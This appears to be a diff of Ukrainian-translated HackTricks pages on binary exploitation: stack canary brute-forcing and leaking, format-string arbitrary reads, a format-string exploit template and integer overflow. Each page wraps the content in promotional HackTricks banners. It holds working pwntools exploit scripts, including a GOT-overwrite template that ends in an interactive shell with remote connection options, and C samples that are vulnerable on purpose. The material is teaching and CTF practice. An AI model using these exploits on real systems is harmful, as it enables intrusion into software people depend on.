r = connect()
|
||||
|
||||
r.recvuntil("Username: ")
|
||||
r.send(base + chr(guess))
|
||||
|
||||
if "SOME OUTPUT" in r.clean():
|
||||
print "Guessed correct byte:", format(guess, '02x')
|
||||
canary += chr(guess)
|
||||
base += chr(guess)
|
||||
guess = 0x0
|
||||
r.close()
|
||||
break
|
||||
else:
|
||||
guess += 1
|
||||
r.close()
|
||||
|
||||
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
||||
return base
|
||||
|
||||
canary_offset = 1176
|
||||
base = "A" * canary_offset
|
||||
print("Brute-Forcing canary")
|
||||
base_canary = get_bf(base) #Get yunk data + canary
|
||||
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
||||
```
|
||||
### Приклад 2
|
||||
|
||||
Це реалізовано для 32-бітної системи, але це можна легко змінити на 64 біти.\
|
||||
Також зверніть увагу, що для цього прикладу **програма спочатку очікує байт, щоб вказати розмір введення** та корисне навантаження.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Here is the function to brute force the canary
|
||||
def breakCanary():
|
||||
known_canary = b""
|
||||
test_canary = 0x0
|
||||
len_bytes_to_read = 0x21
|
||||
|
||||
for j in range(0, 4):
|
||||
# Iterate up to 0xff times to brute force all posible values for byte
|
||||
for test_canary in range(0xff):
|
||||
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
|
||||
|
||||
# Send the current input size
|
||||
target.send(len_bytes_to_read.to_bytes(1, "little"))
|
||||
|
||||
# Send this iterations canary
|
||||
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
|
||||
|
||||
# Scan in the output, determine if we have a correct value
|
||||
output = target.recvuntil(b"exit.")
|
||||
if b"YUM" in output:
|
||||
# If we have a correct value, record the canary value, reset the canary value, and move on
|
||||
print(" - next byte is: " + hex(test_canary))
|
||||
known_canary = known_canary + test_canary.to_bytes(1, "little")
|
||||
len_bytes_to_read += 1
|
||||
break
|
||||
|
||||
# Return the canary
|
||||
return known_canary
|
||||
|
||||
# Start the target process
|
||||
target = process('./feedme')
|
||||
#gdb.attach(target)
|
||||
|
||||
# Brute force the canary
|
||||
canary = breakCanary()
|
||||
log.info(f"The canary is: {canary}")
|
||||
```
|
||||
## Потоки
|
||||
|
||||
Потоки того ж процесу також **спільно використовують один і той же маркер-канарейку**, тому буде можливо **перебрати** канарейку, якщо бінарний файл створює новий потік кожен раз, коли відбувається атака. 
|
||||
|
||||
Більше того, переповнення буфера в потоковій функції, захищеній канарейкою, може бути використане для **зміни головної канарейки, збереженої в TLS**. Це тому, що можливо досягти позиції пам'яті, де зберігається TLS (і, отже, канарейка) через **bof в стеку** потоку.\
|
||||
В результаті, захист є некорисним, оскільки перевірка використовується з двома канарейками, які є однаковими (хоча і зміненими).\
|
||||
Цю атаку виконано в описі: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
|
||||
Також перегляньте презентацію [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015), в якій зазначено, що зазвичай **TLS** зберігається за допомогою **`mmap`**, і коли створюється **стек** **потоку**, він також генерується за допомогою `mmap`, що може дозволити переповнення, як показано в попередньому описі.
|
||||
|
||||
## Інші приклади та посилання
|
||||
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
|
||||
* 64 біти, без PIE, nx, BF канарейка, запис у деяку пам'ять ROP для виклику `execve` та перехід туди.
|
|
@ -0,0 +1,59 @@
|
|||
# Виведення Stack Canary
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Збільшення виведеного стеку
|
||||
|
||||
Уявіть ситуацію, де **програма, вразлива на переповнення стеку**, може виконати функцію **puts**, **вказуючи** на **частину** **переповненого стеку**. Атакуючий знає, що **перший байт канарейки - нульовий байт** (`\x00`), а решта канарейки - **випадкові** байти. Потім атакуючий може створити переповнення, яке **перезапише стек до першого байта канарейки**.
|
||||
|
||||
Потім атакуючий **викликає функціональність puts** посередині поліпшення, яке **виведе всю канарейку** (крім першого нульового байта).
|
||||
|
||||
З цією інформацією атакуючий може **створити та відправити нову атаку**, знаючи канарейку (у тій самій сесії програми).
|
||||
|
||||
Очевидно, що ця тактика дуже **обмежена**, оскільки атакуючому потрібно мати можливість **вивести** **вміст** свого **поліпшення**, щоб **ексфільтрувати** **канарейку**, а потім мати можливість створити нове поліпшення (у **тій самій сесії програми**) та **відправити** **справжнє переповнення буфера**.
|
||||
|
||||
**Приклади CTF:** 
|
||||
|
||||
* [**https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html**](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
* 64-бітна, з увімкненим ASLR, але без PIE, перший крок - заповнити переповнення до байта 0x00 канарейки, а потім викликати puts і витікати її. З канарейки створюється ROP-гаджет для виклику puts для витоку адреси puts з GOT та ROP-гаджет для виклику `system('/bin/sh')`
|
||||
* [**https://guyinatuxedo.github.io/14-ret\_2\_system/hxp18\_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret\_2\_system/hxp18\_poorCanary/index.html)
|
||||
* 32-бітна, ARM, без relro, канарейка, nx, без pie. Переповнення з викликом puts на ньому для витоку канарейки + ret2lib виклик `system` з ланцюжком ROP для pop r0 (арг `/bin/sh`) та pc (адреса system)
|
||||
|
||||
## Довільне читання
|
||||
|
||||
З **довільним читанням**, як у випадку, наданим форматом **рядків**, можливо витікання канарейки. Перевірте цей приклад: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) і можете прочитати про зловживання форматом рядків для читання довільних адрес пам'яті в:
|
||||
|
||||
{% content-ref url="../../format-strings/" %}
|
||||
[format-strings](../../format-strings/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html)
|
||||
* Це виклик використовує форматний рядок дуже простим способом для читання канарейки зі стеку
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
|
@ -0,0 +1,190 @@
|
|||
# Формат рядків - Приклад довільного читання
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Читання початку бінарного файлу
|
||||
|
||||
### Код
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void) {
|
||||
char buffer[30];
|
||||
|
||||
fgets(buffer, sizeof(buffer), stdin);
|
||||
|
||||
printf(buffer);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Скомпілюйте його за допомогою:
|
||||
```python
|
||||
clang -o fs-read fs-read.c -Wno-format-security -no-pie
|
||||
```
|
||||
### Використання
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
p = process('./fs-read')
|
||||
|
||||
payload = f"%11$s|||||".encode()
|
||||
payload += p64(0x00400000)
|
||||
|
||||
p.sendline(payload)
|
||||
log.info(p.clean())
|
||||
```
|
||||
* Зміщення становить 11, оскільки встановлення декількох символів A та перебір з використанням циклу від 0 до 50 показав, що при зміщенні 11 та додаванні 5 додаткових символів (трубок `|` у нашому випадку) можна контролювати повну адресу.
|
||||
* Я використовував `%11$p` з додаванням пробілів до того, поки адреса не стала 0x4141414141414141.
|
||||
* Пакет даних у форматі рядка знаходиться ПЕРЕД адресою, оскільки функція **printf зупиняється на нульовому байті**, тому якщо ми надішлемо адресу, а потім рядок формату, функція printf ніколи не дійде до рядка формату, оскільки буде знайдено нульовий байт.
|
||||
* Вибрана адреса - 0x00400000, оскільки це місце початку бінарного файлу (без PIE)
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
|
||||
|
||||
int main() {
|
||||
char stack_password[20] = "secretStackPass"; // Password in stack
|
||||
char input1[20], input2[20];
|
||||
|
||||
printf("Enter first password: ");
|
||||
scanf("%19s", input1);
|
||||
|
||||
printf("Enter second password: ");
|
||||
scanf("%19s", input2);
|
||||
|
||||
// Vulnerable printf
|
||||
printf(input1);
|
||||
printf("\n");
|
||||
|
||||
// Check both passwords
|
||||
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
|
||||
printf("Access Granted.\n");
|
||||
} else {
|
||||
printf("Access Denied.\n");
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Скомпілюйте його за допомогою:
|
||||
```bash
|
||||
clang -o fs-read fs-read.c -Wno-format-security
|
||||
```
|
||||
### Читання зі стеку
|
||||
|
||||
Змінна **`stack_password`** буде збережена у стеці, оскільки це локальна змінна, тому достатньо просто зловживати printf, щоб показати вміст стеку. Це експлойт для BF перших 100 позицій для витоку паролів зі стеку:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
for i in range(100):
|
||||
print(f"Try: {i}")
|
||||
payload = f"%{i}$s\na".encode()
|
||||
p = process("./fs-read")
|
||||
p.sendline(payload)
|
||||
output = p.clean()
|
||||
print(output)
|
||||
p.close()
|
||||
```
|
||||
У зображенні можна побачити, що ми можемо витікати пароль зі стеку на `10-й` позиції:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1234).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1233).png" alt="" width="338"><figcaption></figcaption></figure>
|
||||
|
||||
### Читання даних
|
||||
|
||||
Запускаючи той самий експлойт, але з `%p` замість `%s`, можна витікати адресу купи зі стеку на `%25$p`. Більше того, порівнюючи витікнуту адресу (`0xaaaab7030894`) з позицією пароля в пам'яті в цьому процесі, ми можемо отримати різницю адрес:
|
||||
|
||||
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Тепер час знайти, як керувати однією адресою в стеці, щоб мати до неї доступ з другої вразливості у форматі рядка:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
def leak_heap(p):
|
||||
p.sendlineafter(b"first password:", b"%5$p")
|
||||
p.recvline()
|
||||
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
|
||||
return int(response, 16)
|
||||
|
||||
for i in range(30):
|
||||
p = process("./fs-read")
|
||||
|
||||
heap_leak_addr = leak_heap(p)
|
||||
print(f"Leaked heap: {hex(heap_leak_addr)}")
|
||||
|
||||
password_addr = heap_leak_addr - 0x126a
|
||||
|
||||
print(f"Try: {i}")
|
||||
payload = f"%{i}$p|||".encode()
|
||||
payload += b"AAAAAAAA"
|
||||
|
||||
p.sendline(payload)
|
||||
output = p.clean()
|
||||
print(output.decode("utf-8"))
|
||||
p.close()
|
||||
```
|
||||
І це можливо побачити в **спробі 14** з використанням передачі, ми можемо контролювати адресу:
|
||||
|
||||
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
### Зловживання
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
p = process("./fs-read")
|
||||
|
||||
def leak_heap(p):
|
||||
# At offset 25 there is a heap leak
|
||||
p.sendlineafter(b"first password:", b"%25$p")
|
||||
p.recvline()
|
||||
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
|
||||
return int(response, 16)
|
||||
|
||||
heap_leak_addr = leak_heap(p)
|
||||
print(f"Leaked heap: {hex(heap_leak_addr)}")
|
||||
|
||||
# Offset calculated from the leaked position to the possition of the pass in memory
|
||||
password_addr = heap_leak_addr + 0x1f7bc
|
||||
|
||||
print(f"Calculated address is: {hex(password_addr)}")
|
||||
|
||||
# At offset 14 we can control the addres, so use %s to read the string from that address
|
||||
payload = f"%14$s|||".encode()
|
||||
payload += p64(password_addr)
|
||||
|
||||
p.sendline(payload)
|
||||
output = p.clean()
|
||||
print(output)
|
||||
p.close()
|
||||
```
|
||||
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або групи [**telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакінг-прийоми, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
169
binary-exploitation/format-strings/format-strings-template.md
Normal file
169
binary-exploitation/format-strings/format-strings-template.md
Normal file
|
@ -0,0 +1,169 @@
|
|||
# Шаблон рядків форматування
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та вправляйтесь в хакінгу AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та вправляйтесь в хакінгу GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```python
|
||||
from pwn import *
|
||||
from time import sleep
|
||||
|
||||
###################
|
||||
### CONNECTION ####
|
||||
###################
|
||||
|
||||
# Define how you want to exploit the binary
|
||||
LOCAL = True
|
||||
REMOTETTCP = False
|
||||
REMOTESSH = False
|
||||
GDB = False
|
||||
|
||||
# Configure vulnerable binary
|
||||
LOCAL_BIN = "./tyler"
|
||||
REMOTE_BIN = "./tyler" #For ssh
|
||||
|
||||
# In order to exploit the format string you may need to append/prepend some string to the payload
|
||||
# configure them here
|
||||
PREFIX_PAYLOAD = b""
|
||||
SUFFIX_PAYLOAD = b""
|
||||
NNUM_ALREADY_WRITTEN_BYTES = 0
|
||||
MAX_LENTGH = 999999 #Big num if not restricted
|
||||
|
||||
print(" ====================== ")
|
||||
print("Selected options:")
|
||||
print(f"PREFIX_PAYLOAD: {PREFIX_PAYLOAD}")
|
||||
print(f"SUFFIX_PAYLOAD: {SUFFIX_PAYLOAD}")
|
||||
print(f"NNUM_ALREADY_WRITTEN_BYTES: {NNUM_ALREADY_WRITTEN_BYTES}")
|
||||
print(" ====================== ")
|
||||
|
||||
|
||||
def connect_binary():
|
||||
global P, ELF_LOADED, ROP_LOADED
|
||||
|
||||
if LOCAL:
|
||||
P = process(LOCAL_BIN) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
|
||||
|
||||
elif REMOTETTCP:
|
||||
P = remote('10.10.10.10',1338) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
|
||||
|
||||
elif REMOTESSH:
|
||||
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
|
||||
P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(elf)# Find ROP gadgets
|
||||
|
||||
|
||||
#######################################
|
||||
### Get format string configuration ###
|
||||
#######################################
|
||||
|
||||
def send_payload(payload):
|
||||
payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
|
||||
log.info("payload = %s" % repr(payload))
|
||||
if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
|
||||
P.sendline(payload)
|
||||
sleep(0.5)
|
||||
return P.recv()
|
||||
|
||||
|
||||
def get_formatstring_config():
|
||||
global P
|
||||
|
||||
for offset in range(1,1000):
|
||||
connect_binary()
|
||||
P.clean()
|
||||
|
||||
payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
|
||||
recieved = send_payload(payload).strip()
|
||||
|
||||
if b"41" in recieved:
|
||||
for padlen in range(0,4):
|
||||
if b"41414141" in recieved:
|
||||
connect_binary()
|
||||
payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
|
||||
recieved = send_payload(payload).strip()
|
||||
print(recieved)
|
||||
if b"42424242" in recieved:
|
||||
log.info(f"Found offset ({offset}) and padlen ({padlen})")
|
||||
return offset, padlen
|
||||
|
||||
else:
|
||||
connect_binary()
|
||||
payload = b" " + payload
|
||||
recieved = send_payload(payload).strip()
|
||||
|
||||
|
||||
# In order to exploit a format string you need to find a position where part of your payload
|
||||
# is being reflected. Then, you will be able to put in the position arbitrary addresses
|
||||
# and write arbitrary content in those addresses
|
||||
# Therefore, the function get_formatstring_config will find the offset and padd needed to exploit the format string
|
||||
|
||||
offset, padlen = get_formatstring_config()
|
||||
|
||||
|
||||
# In this template, the GOT of printf (the part of the GOT table that points to where the printf
|
||||
# function resides) is going to be modified by the address of the system inside the PLT (the
|
||||
# part of the code that will jump to the system function).
|
||||
# Therefore, next time the printf function is executed, system will be executed instead with the same
|
||||
# parameters passed to printf
|
||||
|
||||
# In some scenarios you will need to loop1 more time to the vulnerability
|
||||
# In that cases you need to overwrite a pointer in the .fini_array for example
|
||||
# Uncomment the commented code below to gain 1 rexecution extra
|
||||
|
||||
#P_FINI_ARRAY = ELF_LOADED.symbols["__init_array_end"] # .fini_array address
|
||||
#INIT_LOOP_ADDR = 0x8048614 # Address to go back
|
||||
SYSTEM_PLT = ELF_LOADED.plt["system"]
|
||||
P_GOT = ELF_LOADED.got["printf"]
|
||||
|
||||
#log.info(f"Init loop address: {hex(INIT_LOOP_ADDR)}")
|
||||
#log.info(f"fini.array address: {hex(P_FINI_ARRAY)}")
|
||||
log.info(f"System PLT address: {hex(SYSTEM_PLT)}")
|
||||
log.info(f"Printf GOT address: {hex(P_GOT)}")
|
||||
|
||||
connect_binary()
|
||||
if GDB and not REMOTETTCP and not REMOTESSH:
|
||||
# attach gdb and continue
|
||||
# You can set breakpoints, for example "break *main"
|
||||
gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
|
||||
sleep(5)
|
||||
|
||||
format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES)
|
||||
#format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR)
|
||||
format_string.write(P_GOT, SYSTEM_PLT)
|
||||
format_string.execute_writes()
|
||||
|
||||
# Now that printf function is executing system you just need to find a place where you can
|
||||
# control the parameters passed to printf to execute arbitrary code.
|
||||
|
||||
P.interactive()
|
||||
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
121
binary-exploitation/integer-overflow.md
Normal file
121
binary-exploitation/integer-overflow.md
Normal file
|
@ -0,0 +1,121 @@
|
|||
# Переповнення цілочисельних значень
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
У центрі **переповнення цілочисельних значень** лежить обмеження, накладене розміром типів даних у програмуванні для комп'ютерів та **інтерпретацією** даних.
|
||||
|
||||
Наприклад, **8-бітне беззнакове ціле число** може представляти значення від **0 до 255**. Якщо ви спробуєте зберегти значення 256 у 8-бітному беззнаковому цілому числі, воно обертається до 0 через обмеження його місткості. Так само для **16-бітного беззнакового цілого числа**, яке може утримувати значення від **0 до 65,535**, додавання 1 до 65,535 призведе до обертання значення назад до 0.
|
||||
|
||||
Більше того, **8-бітне знакове ціле число** може представляти значення від **-128 до 127**. Це тому, що один біт використовується для представлення знака (позитивний або від'ємний), залишаючи 7 біт для представлення величини. Найвід'ємніше число представлене як **-128** (двійкове `10000000`), а найпозитивніше число - **127** (двійкове `01111111`).
|
||||
|
||||
### Максимальні значення
|
||||
|
||||
Для потенційних **вразливостей веб-додатків** дуже цікаво знати максимально підтримувані значення:
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Rust" %}
|
||||
```rust
|
||||
fn main() {
|
||||
|
||||
let mut quantity = 2147483647;
|
||||
|
||||
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
|
||||
let (add_result, _) = i32::overflowing_add(1, quantity);
|
||||
|
||||
println!("{}", mul_result);
|
||||
println!("{}", add_result);
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Українська" %}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <limits.h>
|
||||
|
||||
int main() {
|
||||
int a = INT_MAX;
|
||||
int b = 0;
|
||||
int c = 0;
|
||||
|
||||
b = a * 100;
|
||||
c = a + 1;
|
||||
|
||||
printf("%d\n", INT_MAX);
|
||||
printf("%d\n", b);
|
||||
printf("%d\n", c);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
## Приклади
|
||||
|
||||
### Чистий переповнення
|
||||
|
||||
Надрукований результат буде 0, оскільки ми переповнили символ:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
unsigned char max = 255; // 8-bit unsigned integer
|
||||
unsigned char result = max + 1;
|
||||
printf("Result: %d\n", result); // Expected to overflow
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Перетворення зі знакового на беззнакове
|
||||
|
||||
Розгляньте ситуацію, де знакове ціле число зчитується з введення користувача, а потім використовується в контексті, який розглядає його як беззнакове ціле число, без належної перевірки:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
int userInput; // Signed integer
|
||||
printf("Enter a number: ");
|
||||
scanf("%d", &userInput);
|
||||
|
||||
// Treating the signed input as unsigned without validation
|
||||
unsigned int processedInput = (unsigned int)userInput;
|
||||
|
||||
// A condition that might not work as intended if userInput is negative
|
||||
if (processedInput > 1000) {
|
||||
printf("Processed Input is large: %u\n", processedInput);
|
||||
} else {
|
||||
printf("Processed Input is within range: %u\n", processedInput);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
